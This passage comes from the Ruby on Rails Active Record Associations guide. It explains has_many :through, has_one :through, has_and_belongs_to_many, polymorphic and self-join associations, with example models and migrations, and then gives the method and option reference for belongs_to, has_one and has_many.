  def change
    create_table :physicians do |t|
      t.string :name
      t.timestamps
    end

    create_table :patients do |t|
      t.string :name
      t.timestamps
    end

    create_table :appointments do |t|
      t.belongs_to :physician
      t.belongs_to :patient
      t.datetime :appointment_date
      t.timestamps
    end
  end
end

The collection of join models can be managed via the has_many association methods. For example, if you assign:

  physician.patients = patients

Then new join models are automatically created for the newly associated objects. If some that existed previously are now missing, then their join rows are automatically deleted.

Automatic deletion of join models is direct, no destroy callbacks are triggered.

The has_many :through association is also useful for setting up "shortcuts" through nested has_many associations. For example, if a document has many sections, and a section has many paragraphs, you may sometimes want to get a simple collection of all paragraphs in the document. You could set that up this way:

  class Document < ApplicationRecord
  has_many :sections
  has_many :paragraphs, through: :sections
end

class Section < ApplicationRecord
  belongs_to :document
  has_many :paragraphs
end

class Paragraph < ApplicationRecord
  belongs_to :section
end

With through: :sections specified, Rails will now understand:

  @document.paragraphs

2.5 The has_one :through Association

A has_one :through association sets up a one-to-one connection with another model. This association indicates that the declaring model can be matched with one instance of another model by proceeding through a third model. For example, if each supplier has one account, and each account is associated with one account history, then the supplier model could look like this:

  class Supplier < ApplicationRecord
  has_one :account
  has_one :account_history, through: :account
end

class Account < ApplicationRecord
  belongs_to :supplier
  has_one :account_history
end

class AccountHistory < ApplicationRecord
  belongs_to :account
end

The corresponding migration might look like this:

  class CreateAccountHistories < ActiveRecord::Migration[7.0]
  def change
    create_table :suppliers do |t|
      t.string :name
      t.timestamps
    end

    create_table :accounts do |t|
      t.belongs_to :supplier
      t.string :account_number
      t.timestamps
    end

    create_table :account_histories do |t|
      t.belongs_to :account
      t.integer :credit_rating
      t.timestamps
    end
  end
end

2.6 The has_and_belongs_to_many Association

A has_and_belongs_to_many association creates a direct many-to-many connection with another model, with no intervening model. This association indicates that each instance of the declaring model refers to zero or more instances of another model. For example, if your application includes assemblies and parts, with each assembly having many parts and each part appearing in many assemblies, you could declare the models this way:

  class Assembly < ApplicationRecord
  has_and_belongs_to_many :parts
end

class Part < ApplicationRecord
  has_and_belongs_to_many :assemblies
end

The corresponding migration might look like this:

  class CreateAssembliesAndParts < ActiveRecord::Migration[7.0]
  def change
    create_table :assemblies do |t|
      t.string :name
      t.timestamps
    end

    create_table :parts do |t|
      t.string :part_number
      t.timestamps
    end

    create_table :assemblies_parts, id: false do |t|
      t.belongs_to :assembly
      t.belongs_to :part
    end
  end
end

2.7 Choosing Between belongs_to and has_one

If you want to set up a one-to-one relationship between two models, you'll need to add belongs_to to one, and has_one to the other. How do you know which is which?

The distinction is in where you place the foreign key (it goes on the table for the class declaring the belongs_to association), but you should give some thought to the actual meaning of the data as well. The has_one relationship says that one of something is yours - that is, that something points back to you. For example, it makes more sense to say that a supplier owns an account than that an account owns a supplier. This suggests that the correct relationships are like this:

  class Supplier < ApplicationRecord
  has_one :account
end

class Account < ApplicationRecord
  belongs_to :supplier
end

The corresponding migration might look like this:

  class CreateSuppliers < ActiveRecord::Migration[7.0]
  def change
    create_table :suppliers do |t|
      t.string :name
      t.timestamps
    end

    create_table :accounts do |t|
      t.bigint  :supplier_id
      t.string  :account_number
      t.timestamps
    end

    add_index :accounts, :supplier_id
  end
end

Using t.bigint :supplier_id makes the foreign key naming obvious and explicit. In current versions of Rails, you can abstract away this implementation detail by using t.references :supplier instead.

2.8 Choosing Between has_many :through and has_and_belongs_to_many

Rails offers two different ways to declare a many-to-many relationship between models. The first way is to use has_and_belongs_to_many, which allows you to make the association directly:

  class Assembly < ApplicationRecord
  has_and_belongs_to_many :parts
end

class Part < ApplicationRecord
  has_and_belongs_to_many :assemblies
end

The second way to declare a many-to-many relationship is to use has_many :through. This makes the association indirectly, through a join model:

  class Assembly < ApplicationRecord
  has_many :manifests
  has_many :parts, through: :manifests
end

class Manifest < ApplicationRecord
  belongs_to :assembly
  belongs_to :part
end

class Part < ApplicationRecord
  has_many :manifests
  has_many :assemblies, through: :manifests
end

The simplest rule of thumb is that you should set up a has_many :through relationship if you need to work with the relationship model as an independent entity. If you don't need to do anything with the relationship model, it may be simpler to set up a has_and_belongs_to_many relationship (though you'll need to remember to create the joining table in the database).

You should use has_many :through if you need validations, callbacks, or extra attributes on the join model.

2.9 Polymorphic Associations

A slightly more advanced twist on associations is the polymorphic association. With polymorphic associations, a model can belong to more than one other model, on a single association. For example, you might have a picture model that belongs to either an employee model or a product model. Here's how this could be declared:

  class Picture < ApplicationRecord
  belongs_to :imageable, polymorphic: true
end

class Employee < ApplicationRecord
  has_many :pictures, as: :imageable
end

class Product < ApplicationRecord
  has_many :pictures, as: :imageable
end

You can think of a polymorphic belongs_to declaration as setting up an interface that any other model can use. From an instance of the Employee model, you can retrieve a collection of pictures: @employee.pictures.

Similarly, you can retrieve @product.pictures.

If you have an instance of the Picture model, you can get to its parent via @picture.imageable. To make this work, you need to declare both a foreign key column and a type column in the model that declares the polymorphic interface:

  class CreatePictures < ActiveRecord::Migration[7.0]
  def change
    create_table :pictures do |t|
      t.string  :name
      t.bigint  :imageable_id
      t.string  :imageable_type
      t.timestamps
    end

    add_index :pictures, [:imageable_type, :imageable_id]
  end
end

This migration can be simplified by using the t.references form:

  class CreatePictures < ActiveRecord::Migration[7.0]
  def change
    create_table :pictures do |t|
      t.string :name
      t.references :imageable, polymorphic: true
      t.timestamps
    end
  end
end

2.10 Self Joins

In designing a data model, you will sometimes find a model that should have a relation to itself. For example, you may want to store all employees in a single database model, but be able to trace relationships such as between manager and subordinates. This situation can be modeled with self-joining associations:

  class Employee < ApplicationRecord
  has_many :subordinates, class_name: "Employee",
                          foreign_key: "manager_id"

  belongs_to :manager, class_name: "Employee", optional: true
end

With this setup, you can retrieve @employee.subordinates and @employee.manager.

In your migrations/schema, you will add a references column to the model itself.

  class CreateEmployees < ActiveRecord::Migration[7.0]
  def change
    create_table :employees do |t|
      t.references :manager, foreign_key: { to_table: :employees }
      t.timestamps
    end
  end
end

3 Tips, Tricks, and Warnings

Here are a few things you should know to make efficient use of Active Record associations in your Rails applications:

Controlling caching

Avoiding name collisions

Updating the schema

Controlling association scope

Bi-directional associations

3.1 Controlling Caching

All of the association methods are built around caching, which keeps the result of the most recent query available for further operations. The cache is even shared across methods. For example:

  # retrieves books from the database
author.books.load

# uses the cached copy of books
author.books.size

# uses the cached copy of books
author.books.empty?

But what if you want to reload the cache, because data might have been changed by some other part of the application? Just call reload on the association:

  # retrieves books from the database
author.books.load

# uses the cached copy of books
author.books.size

# discards the cached copy of books and goes back to the database
author.books.reload.empty?

3.2 Avoiding Name Collisions

You are not free to use just any name for your associations. Because creating an association adds a method with that name to the model, it is a bad idea to give an association a name that is already used for an instance method of ActiveRecord::Base. The association method would override the base method and break things. For instance, attributes or connection are bad names for associations.

3.3 Updating the Schema

Associations are extremely useful, but they are not magic. You are responsible for maintaining your database schema to match your associations. In practice, this means two things, depending on what sort of associations you are creating. For belongs_to associations you need to create foreign keys, and for has_and_belongs_to_many associations you need to create the appropriate join table.

3.3.1 Creating Foreign Keys for belongs_to Associations

When you declare a belongs_to association, you need to create foreign keys as appropriate. For example, consider this model:

  class Book < ApplicationRecord
  belongs_to :author
end

This declaration needs to be backed up by a corresponding foreign key column in the books table. For a brand new table, the migration might look something like this:

  class CreateBooks < ActiveRecord::Migration[7.0]
  def change
    create_table :books do |t|
      t.datetime   :published_at
      t.string     :book_number
      t.references :author
    end
  end
end

Whereas for an existing table, it might look like this:

  class AddAuthorToBooks < ActiveRecord::Migration[7.0]
  def change
    add_reference :books, :author
  end
end

If you wish to enforce referential integrity at the database level, add the foreign_key: true option to the ‘reference’ column declarations above.

3.3.2 Creating Join Tables for has_and_belongs_to_many Associations

If you create a has_and_belongs_to_many association, you need to explicitly create the joining table. Unless the name of the join table is explicitly specified by using the :join_table option, Active Record creates the name by using the lexical order of the class names. So a join between author and book models will give the default join table name of "authors_books" because "a" outranks "b" in lexical ordering.

The precedence between model names is calculated using the <=> operator for String. This means that if the strings are of different lengths, and the strings are equal when compared up to the shortest length, then the longer string is considered of higher lexical precedence than the shorter one. For example, one would expect the tables "paper_boxes" and "papers" to generate a join table name of "papers_paper_boxes" because of the length of the name "paper_boxes", but it in fact generates a join table name of "paper_boxes_papers" (because the underscore '_' is lexicographically less than 's' in common encodings).

Whatever the name, you must manually generate the join table with an appropriate migration. For example, consider these associations:

  class Assembly < ApplicationRecord
  has_and_belongs_to_many :parts
end

class Part < ApplicationRecord
  has_and_belongs_to_many :assemblies
end

These need to be backed up by a migration to create the assemblies_parts table. This table should be created without a primary key:

  class CreateAssembliesPartsJoinTable < ActiveRecord::Migration[7.0]
  def change
    create_table :assemblies_parts, id: false do |t|
      t.bigint :assembly_id
      t.bigint :part_id
    end

    add_index :assemblies_parts, :assembly_id
    add_index :assemblies_parts, :part_id
  end
end

We pass id: false to create_table because that table does not represent a model. That's required for the association to work properly. If you observe any strange behavior in a has_and_belongs_to_many association like mangled model IDs, or exceptions about conflicting IDs, chances are you forgot that bit.

You can also use the method create_join_table

  class CreateAssembliesPartsJoinTable < ActiveRecord::Migration[7.0]
  def change
    create_join_table :assemblies, :parts do |t|
      t.index :assembly_id
      t.index :part_id
    end
  end
end

3.4 Controlling Association Scope

By default, associations look for objects only within the current module's scope. This can be important when you declare Active Record models within a module. For example:

  module MyApplication
  module Business
    class Supplier < ApplicationRecord
      has_one :account
    end

    class Account < ApplicationRecord
      belongs_to :supplier
    end
  end
end

This will work fine, because both the Supplier and the Account class are defined within the same scope. But the following will not work, because Supplier and Account are defined in different scopes:

  module MyApplication
  module Business
    class Supplier < ApplicationRecord
      has_one :account
    end
  end

  module Billing
    class Account < ApplicationRecord
      belongs_to :supplier
    end
  end
end

To associate a model with a model in a different namespace, you must specify the complete class name in your association declaration:

  module MyApplication
  module Business
    class Supplier < ApplicationRecord
      has_one :account,
        class_name: "MyApplication::Billing::Account"
    end
  end

  module Billing
    class Account < ApplicationRecord
      belongs_to :supplier,
        class_name: "MyApplication::Business::Supplier"
    end
  end
end

3.5 Bi-directional Associations

It's normal for associations to work in two directions, requiring declaration on two different models:

  class Author < ApplicationRecord
  has_many :books
end

class Book < ApplicationRecord
  belongs_to :author
end

Active Record will attempt to automatically identify that these two models share a bi-directional association based on the association name. In this way, Active Record will only load one copy of the Author object, making your application more efficient and preventing inconsistent data:

  irb> a = Author.first
irb> b = a.books.first
irb> a.first_name == b.author.first_name
=> true
irb> a.first_name = 'David'
irb> a.first_name == b.author.first_name
=> true

Active Record supports automatic identification for most associations with standard names. However, Active Record will not automatically identify bi-directional associations that contain the :through or :foreign_key options. Custom scopes on the opposite association also prevent automatic identification, as do custom scopes on the association itself unless config.active_record.automatic_scope_inversing is set to true (the default for new applications).

For example, consider the following model declarations:

  class Author < ApplicationRecord
  has_many :books
end

class Book < ApplicationRecord
  belongs_to :writer, class_name: 'Author', foreign_key: 'author_id'
end

Active Record will no longer automatically recognize the bi-directional association:

  irb> a = Author.first
irb> b = a.books.first
irb> a.first_name == b.writer.first_name
=> true
irb> a.first_name = 'David'
irb> a.first_name == b.writer.first_name
=> false

Active Record provides the :inverse_of option so you can explicitly declare bi-directional associations:

  class Author < ApplicationRecord
  has_many :books, inverse_of: 'writer'
end

class Book < ApplicationRecord
  belongs_to :writer, class_name: 'Author', foreign_key: 'author_id'
end

By including the :inverse_of option in the has_many association declaration, Active Record will now recognize the bi-directional association:

  irb> a = Author.first
irb> b = a.books.first
irb> a.first_name == b.writer.first_name
=> true
irb> a.first_name = 'David'
irb> a.first_name == b.writer.first_name
=> true

4 Detailed Association Reference

The following sections give the details of each type of association, including the methods that they add and the options that you can use when declaring an association.

4.1 belongs_to Association Reference

In database terms, the belongs_to association says that this model's table contains a column which represents a reference to another table. This can be used to set up one-to-one or one-to-many relations, depending on the setup. If the table of the other class contains the reference in a one-to-one relation, then you should use has_one instead.

4.1.1 Methods Added by belongs_to

When you declare a belongs_to association, the declaring class automatically gains 8 methods related to the association:

association

association=(associate)

build_association(attributes = {})

create_association(attributes = {})

create_association!(attributes = {})

reload_association

association_changed?

association_previously_changed?

In all of these methods, association is replaced with the symbol passed as the first argument to belongs_to. For example, given the declaration:

  class Book < ApplicationRecord
  belongs_to :author
end

Each instance of the Book model will have these methods:

  author
author=
build_author
create_author
create_author!
reload_author
author_changed?
author_previously_changed?

When initializing a new has_one or belongs_to association you must use the build_ prefix to build the association, rather than the association.build method that would be used for has_many or has_and_belongs_to_many associations. To create one, use the create_ prefix.

4.1.1.1 association

The association method returns the associated object, if any. If no associated object is found, it returns nil.

  @author = @book.author

If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), call #reload_association on the parent object.

  @author = @book.reload_author

4.1.1.2 association=(associate)

The association= method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from the associated object and setting this object's foreign key to the same value.

  @book.author = @author

4.1.1.3 build_association(attributes = {})

The build_association method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set, but the associated object will not yet be saved.

  @author = @book.build_author(author_number: 123,
                             author_name: "John Doe")

4.1.1.4 create_association(attributes = {})

The create_association method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through this object's foreign key will be set, and, once it passes all of the validations specified on the associated model, the associated object will be saved.

  @author = @book.create_author(author_number: 123,
                              author_name: "John Doe")

4.1.1.5 create_association!(attributes = {})

Does the same as create_association above, but raises ActiveRecord::RecordInvalid if the record is invalid.

4.1.1.6 association_changed?

The association_changed? method returns true if a new associated object has been assigned and the foreign key will be updated in the next save.

  @book.author # => #<Author author_number: 123, author_name: "John Doe">
@book.author_changed? # => false

@book.author = Author.second # => #<Author author_number: 456, author_name: "Jane Smith">
@book.author_changed? # => true

@book.save!
@book.author_changed? # => false

4.1.1.7 association_previously_changed?

The association_previously_changed? method returns true if the previous save updated the association to reference a new associate object.

  @book.author # => #<Author author_number: 123, author_name: "John Doe">
@book.author_previously_changed? # => false

@book.author = Author.second # => #<Author author_number: 456, author_name: "Jane Smith">
@book.save!
@book.author_previously_changed? # => true

4.1.2 Options for belongs_to

While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the belongs_to association reference. Such customizations can easily be accomplished by passing options and scope blocks when you create the association. For example, this association uses two such options:

  class Book < ApplicationRecord
  belongs_to :author, touch: :books_updated_at,
    counter_cache: true
end

The belongs_to association supports these options:

:autosave

:class_name

:counter_cache

:dependent

:foreign_key

:primary_key

:inverse_of

:polymorphic

:touch

:validate

:optional

4.1.2.1 :autosave

If you set the :autosave option to true, Rails will save any loaded association members and destroy members that are marked for destruction whenever you save the parent object. Setting :autosave to false is not the same as not setting the :autosave option. If the :autosave option is not present, then new associated objects will be saved, but updated associated objects will not be saved.

4.1.2.2 :class_name

If the name of the other model cannot be derived from the association name, you can use the :class_name option to supply the model name. For example, if a book belongs to an author, but the actual name of the model containing authors is Patron, you'd set things up this way:

  class Book < ApplicationRecord
  belongs_to :author, class_name: "Patron"
end

4.1.2.3 :counter_cache

The :counter_cache option can be used to make finding the number of belonging objects more efficient. Consider these models:

  class Book < ApplicationRecord
  belongs_to :author
end

class Author < ApplicationRecord
  has_many :books
end

With these declarations, asking for the value of @author.books.size requires making a call to the database to perform a COUNT(*) query. To avoid this call, you can add a counter cache to the belonging model:

  class Book < ApplicationRecord
  belongs_to :author, counter_cache: true
end

class Author < ApplicationRecord
  has_many :books
end

With this declaration, Rails will keep the cache value up to date, and then return that value in response to the size method.

Although the :counter_cache option is specified on the model that includes the belongs_to declaration, the actual column must be added to the associated (has_many) model. In the case above, you would need to add a column named books_count to the Author model.

You can override the default column name by specifying a custom column name in the counter_cache declaration instead of true. For example, to use count_of_books instead of books_count:

  class Book < ApplicationRecord
  belongs_to :author, counter_cache: :count_of_books
end

class Author < ApplicationRecord
  has_many :books
end

You only need to specify the :counter_cache option on the belongs_to side of the association.

Counter cache columns are added to the containing model's list of read-only attributes through attr_readonly.

4.1.2.4 :dependent

If you set the :dependent option to:

:destroy, when the object is destroyed, destroy will be called on its associated objects.

:delete, when the object is destroyed, all its associated objects will be deleted directly from the database without calling their destroy method.

:destroy_async: when the object is destroyed, an ActiveRecord::DestroyAssociationAsyncJob job is enqueued which will call destroy on its associated objects. Active Job must be set up for this to work.

You should not specify this option on a belongs_to association that is connected with a has_many association on the other class. Doing so can lead to orphaned records in your database.

4.1.2.5 :foreign_key

By convention, Rails assumes that the column used to hold the foreign key on this model is the name of the association with the suffix _id added. The :foreign_key option lets you set the name of the foreign key directly:

  class Book < ApplicationRecord
  belongs_to :author, class_name: "Patron",
                      foreign_key: "patron_id"
end

In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.

4.1.2.6 :primary_key

By convention, Rails assumes that the id column is used to hold the primary key of its tables. The :primary_key option allows you to specify a different column.

For example, given we have a users table with guid as the primary key. If we want a separate todos table to hold the foreign key user_id in the guid column, then we can use primary_key to achieve this like so:

  class User < ApplicationRecord
  self.primary_key = 'guid' # primary key is guid and not id
end

class Todo < ApplicationRecord
  belongs_to :user, primary_key: 'guid'
end

When we execute @user.todos.create then the @todo record will have its user_id value as the guid value of @user.

4.1.2.7 :inverse_of

The :inverse_of option specifies the name of the has_many or has_one association that is the inverse of this association.

  class Author < ApplicationRecord
  has_many :books, inverse_of: :author
end

class Book < ApplicationRecord
  belongs_to :author, inverse_of: :books
end

4.1.2.8 :polymorphic

Passing true to the :polymorphic option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail earlier in this guide.

4.1.2.9 :touch

If you set the :touch option to true, then the updated_at or updated_on timestamp on the associated object will be set to the current time whenever this object is saved or destroyed:

  class Book < ApplicationRecord
  belongs_to :author, touch: true
end

class Author < ApplicationRecord
  has_many :books
end

In this case, saving or destroying a book will update the timestamp on the associated author. You can also specify a particular timestamp attribute to update:

  class Book < ApplicationRecord
  belongs_to :author, touch: :books_updated_at
end

4.1.2.10 :validate

If you set the :validate option to true, then new associated objects will be validated whenever you save this object. By default, this is false: new associated objects will not be validated when this object is saved.

4.1.2.11 :optional

If you set the :optional option to true, then the presence of the associated object won't be validated. By default, this option is set to false.

4.1.3 Scopes for belongs_to

There may be times when you wish to customize the query used by belongs_to. Such customizations can be achieved via a scope block. For example:

  class Book < ApplicationRecord
  belongs_to :author, -> { where active: true }
end

You can use any of the standard querying methods inside the scope block. The following ones are discussed below:

where

includes

readonly

select

4.1.3.1 where

The where method lets you specify the conditions that the associated object must meet.

  class Book < ApplicationRecord
  belongs_to :author, -> { where active: true }
end

4.1.3.2 includes

You can use the includes method to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:

  class Chapter < ApplicationRecord
  belongs_to :book
end

class Book < ApplicationRecord
  belongs_to :author
  has_many :chapters
end

class Author < ApplicationRecord
  has_many :books
end

If you frequently retrieve authors directly from chapters (@chapter.book.author), then you can make your code somewhat more efficient by including authors in the association from chapters to books:

  class Chapter < ApplicationRecord
  belongs_to :book, -> { includes :author }
end

class Book < ApplicationRecord
  belongs_to :author
  has_many :chapters
end

class Author < ApplicationRecord
  has_many :books
end

There's no need to use includes for immediate associations - that is, if you have Book belongs_to :author, then the author is eager-loaded automatically when it's needed.

4.1.3.3 readonly

If you use readonly, then the associated object will be read-only when retrieved via the association.

4.1.3.4 select

The select method lets you override the SQL SELECT clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.

If you use the select method on a belongs_to association, you should also set the :foreign_key option to guarantee the correct results.

4.1.4 Do Any Associated Objects Exist?

You can see if any associated objects exist by using the association.nil? method:

  if @book.author.nil?
  @msg = "No author found for this book"
end

4.1.5 When are Objects Saved?

Assigning an object to a belongs_to association does not automatically save the object. It does not save the associated object either.

4.2 has_one Association Reference

The has_one association creates a one-to-one match with another model. In database terms, this association says that the other class contains the foreign key. If this class contains the foreign key, then you should use belongs_to instead.

4.2.1 Methods Added by has_one

When you declare a has_one association, the declaring class automatically gains 6 methods related to the association:

association

association=(associate)

build_association(attributes = {})

create_association(attributes = {})

create_association!(attributes = {})

reload_association

In all of these methods, association is replaced with the symbol passed as the first argument to has_one. For example, given the declaration:

  class Supplier < ApplicationRecord
  has_one :account
end

Each instance of the Supplier model will have these methods:

  account
account=
build_account
create_account
create_account!
reload_account

When initializing a new has_one or belongs_to association you must use the build_ prefix to build the association, rather than the association.build method that would be used for has_many or has_and_belongs_to_many associations. To create one, use the create_ prefix.

4.2.1.1 association

The association method returns the associated object, if any. If no associated object is found, it returns nil.

  @account = @supplier.account

If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), call #reload_association on the parent object.

  @account = @supplier.reload_account

4.2.1.2 association=(associate)

The association= method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from this object and setting the associated object's foreign key to the same value.

  @supplier.account = @account

4.2.1.3 build_association(attributes = {})

The build_association method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set, but the associated object will not yet be saved.

  @account = @supplier.build_account(terms: "Net 30")

4.2.1.4 create_association(attributes = {})

The create_association method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be set, and, once it passes all of the validations specified on the associated model, the associated object will be saved.

  @account = @supplier.create_account(terms: "Net 30")

4.2.1.5 create_association!(attributes = {})

Does the same as create_association above, but raises ActiveRecord::RecordInvalid if the record is invalid.

4.2.2 Options for has_one

While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the has_one association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this association uses two such options:

  class Supplier < ApplicationRecord
  has_one :account, class_name: "Billing", dependent: :nullify
end

The has_one association supports these options:

:as

:autosave

:class_name

:dependent

:foreign_key

:inverse_of

:primary_key

:source

:source_type

:through

:touch

:validate

4.2.2.1 :as

Setting the :as option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail earlier in this guide.

4.2.2.2 :autosave

If you set the :autosave option to true, Rails will save any loaded association members and destroy members that are marked for destruction whenever you save the parent object. Setting :autosave to false is not the same as not setting the :autosave option. If the :autosave option is not present, then new associated objects will be saved, but updated associated objects will not be saved.

4.2.2.3 :class_name

If the name of the other model cannot be derived from the association name, you can use the :class_name option to supply the model name. For example, if a supplier has an account, but the actual name of the model containing accounts is Billing, you'd set things up this way:

  class Supplier < ApplicationRecord
  has_one :account, class_name: "Billing"
end

4.2.2.4 :dependent

Controls what happens to the associated object when its owner is destroyed:

:destroy causes the associated object to also be destroyed

:delete causes the associated object to be deleted directly from the database (so callbacks will not execute)

:destroy_async: when the object is destroyed, an ActiveRecord::DestroyAssociationAsyncJob job is enqueued which will call destroy on its associated objects. Active Job must be set up for this to work.

:nullify causes the foreign key to be set to NULL. Polymorphic type column is also nullified on polymorphic associations. Callbacks are not executed.

:restrict_with_exception causes an ActiveRecord::DeleteRestrictionError exception to be raised if there is an associated record

:restrict_with_error causes an error to be added to the owner if there is an associated object

It's necessary not to set or leave :nullify option for those associations that have NOT NULL database constraints. If you don't set dependent to destroy such associations you won't be able to change the associated object because the initial associated object's foreign key will be set to the unallowed NULL value.

4.2.2.5 :foreign_key

By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix _id added. The :foreign_key option lets you set the name of the foreign key directly:

  class Supplier < ApplicationRecord
  has_one :account, foreign_key: "supp_id"
end

In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.

4.2.2.6 :inverse_of

The :inverse_of option specifies the name of the belongs_to association that is the inverse of this association.

  class Supplier < ApplicationRecord
  has_one :account, inverse_of: :supplier
end

class Account < ApplicationRecord
  belongs_to :supplier, inverse_of: :account
end

4.2.2.7 :primary_key

By convention, Rails assumes that the column used to hold the primary key of this model is id. You can override this and explicitly specify the primary key with the :primary_key option.

4.2.2.8 :source

The :source option specifies the source association name for a has_one :through association.

4.2.2.9 :source_type

The :source_type option specifies the source association type for a has_one :through association that proceeds through a polymorphic association.

  class Author < ApplicationRecord
  has_one :book
  has_one :hardback, through: :book, source: :format, source_type: "Hardback"
  has_one :dust_jacket, through: :hardback
end

class Book < ApplicationRecord
  belongs_to :format, polymorphic: true
end

class Paperback < ApplicationRecord; end

class Hardback < ApplicationRecord
  has_one :dust_jacket
end

class DustJacket < ApplicationRecord; end

4.2.2.10 :through

The :through option specifies a join model through which to perform the query. has_one :through associations were discussed in detail earlier in this guide.

4.2.2.11 :touch

If you set the :touch option to true, then the updated_at or updated_on timestamp on the associated object will be set to the current time whenever this object is saved or destroyed:

  class Supplier < ApplicationRecord
  has_one :account, touch: true
end

class Account < ApplicationRecord
  belongs_to :supplier
end

In this case, saving or destroying a supplier will update the timestamp on the associated account. You can also specify a particular timestamp attribute to update:

  class Supplier < ApplicationRecord
  has_one :account, touch: :suppliers_updated_at
end

4.2.2.12 :validate

If you set the :validate option to true, then new associated objects will be validated whenever you save this object. By default, this is false: new associated objects will not be validated when this object is saved.

4.2.3 Scopes for has_one

There may be times when you wish to customize the query used by has_one. Such customizations can be achieved via a scope block. For example:

  class Supplier < ApplicationRecord
  has_one :account, -> { where active: true }
end

You can use any of the standard querying methods inside the scope block. The following ones are discussed below:

where

includes

readonly

select

4.2.3.1 where

The where method lets you specify the conditions that the associated object must meet.

  class Supplier < ApplicationRecord
  has_one :account, -> { where "confirmed = 1" }
end

4.2.3.2 includes

You can use the includes method to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:

  class Supplier < ApplicationRecord
  has_one :account
end

class Account < ApplicationRecord
  belongs_to :supplier
  belongs_to :representative
end

class Representative < ApplicationRecord
  has_many :accounts
end

If you frequently retrieve representatives directly from suppliers (@supplier.account.representative), then you can make your code somewhat more efficient by including representatives in the association from suppliers to accounts:

  class Supplier < ApplicationRecord
  has_one :account, -> { includes :representative }
end

class Account < ApplicationRecord
  belongs_to :supplier
  belongs_to :representative
end

class Representative < ApplicationRecord
  has_many :accounts
end

4.2.3.3 readonly

If you use the readonly method, then the associated object will be read-only when retrieved via the association.

4.2.3.4 select

The select method lets you override the SQL SELECT clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.

4.2.4 Do Any Associated Objects Exist?

You can see if any associated objects exist by using the association.nil? method:

  if @supplier.account.nil?
  @msg = "No account found for this supplier"
end

4.2.5 When are Objects Saved?

When you assign an object to a has_one association, that object is automatically saved (in order to update its foreign key). In addition, any object being replaced is also automatically saved, because its foreign key will change too.

If either of these saves fails due to validation errors, then the assignment statement returns false and the assignment itself is cancelled.

If the parent object (the one declaring the has_one association) is unsaved (that is, new_record? returns true) then the child objects are not saved. They will automatically when the parent object is saved.

If you want to assign an object to a has_one association without saving the object, use the build_association method.

4.3 has_many Association Reference

The has_many association creates a one-to-many relationship with another model. In database terms, this association says that the other class will have a foreign key that refers to instances of this class.

4.3.1 Methods Added by has_many

When you declare a has_many association, the declaring class automatically gains 17 methods related to the association:

collection

collection<<(object, ...)

collection.delete(object, ...)

collection.destroy(object, ...)

collection=(objects)

collection_singular_ids

collection_singular_ids=(ids)

collection.clear

collection.empty?

collection.size

collection.find(...)

collection.where(...)

collection.exists?(...)

collection.build(attributes = {})

collection.create(attributes = {})

collection.create!(attributes = {})

collection.reload

In all of these methods, collection is replaced with the symbol passed as the first argument to has_many, and collection_singular is replaced with the singularized version of that symbol. For example, given the declaration:

  class Author < ApplicationRecord
  has_many :books
end

Each instance of the Author model will have these methods:

  books
books<<(object, ...)
books.delete(object, ...)
books.destroy(object, ...)
books=(objects)
book_ids
book_ids=(ids)
books.clear
books.empty?
books.size
books.find(...)
books.where(...)
books.exists?(...)
books.build(attributes = {}, ...)
books.create(attributes = {})
books.create!(attributes = {})
books.reload

4.3.1.1 collection

The collection method returns a Relation of all of the associated objects. If there are no associated objects, it returns an empty Relation.

  @books = @author.books

4.3.1.2 collection<<(object, ...)

The collection<< method adds one or more objects to the collection by setting their foreign keys to the primary key of the calling model.

  @author.books << @book1

4.3.1.3 collection.delete(object, ...)

The collection.delete method removes one or more objects from the collection by setting their foreign keys to NULL.

  @author.books.delete(@book1)

Additionally, objects will be destroyed if they're associated with dependent: :destroy, and deleted if they're associated with dependent: :delete_all.

4.3.1.4 collection.destroy(object, ...)

The collection.destroy method removes one or more objects from the collection by running destroy on each object.

  @author.books.destroy(@book1)

Objects will always be removed from the database, ignoring the :dependent option.

4.3.1.5 collection=(objects)

The collection= method makes the collection contain only the supplied objects, by adding and deleting as appropriate. The changes are persisted to the database.

4.3.1.6 collection_singular_ids

The collection_singular_ids method returns an array of the ids of the objects in the collection.

  @book_ids = @author.book_ids

4.3.1.7 collection_singular_ids=(ids)

The collection_singular_ids= method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate. The changes are persisted to the database.

4.3.1.8 collection.clear

The collection.clear method removes all objects from the collection according to the strategy specified by the dependent option. If no option is given, it follows the default strategy. The default strategy for has_many :through associations is delete_all, and for has_many associations is to set the foreign keys to NULL.

  @author.books.clear

Objects will be deleted if they're associated with dependent: :destroy or dependent: :destroy_async, just like dependent: :delete_all.

4.3.1.9 collection.empty?

The collection.empty? method returns true if the collection does not contain any associated objects.

  <% if @author.books.empty? %>
  No Books Found
<% end %>

4.3.1.10 collection.size

The collection.size method returns the number of objects in the collection.

  @book_count = @author.books.size

4.3.1.11 collection.find(...)

The collection.find method finds objects within the collection's table.

  @available_book = @author.books.find(1)

4.3.1.12 collection.where(...)

The collection.where method finds objects within the collection based on the conditions supplied but the objects are loaded lazily meaning that the database is queried only when the object(s) are accessed.

  @available_books = @author.books.where(available: true) # No query yet
@available_book = @available_books.first # Now the database will be queried

4.3.1.13 collection.exists?(...)

The collection.exists? method checks whether an object meeting the supplied conditions exists in the collection's table.

4.3.1.14 collection.build(attributes = {})

The collection.build method returns a single or array of new objects of the associated type. The object(s) will be instantiated from the passed attributes, and the link through their foreign key will be created, but the associated objects will not yet be saved.

  @book = @author.books.build(published_at: Time.now,
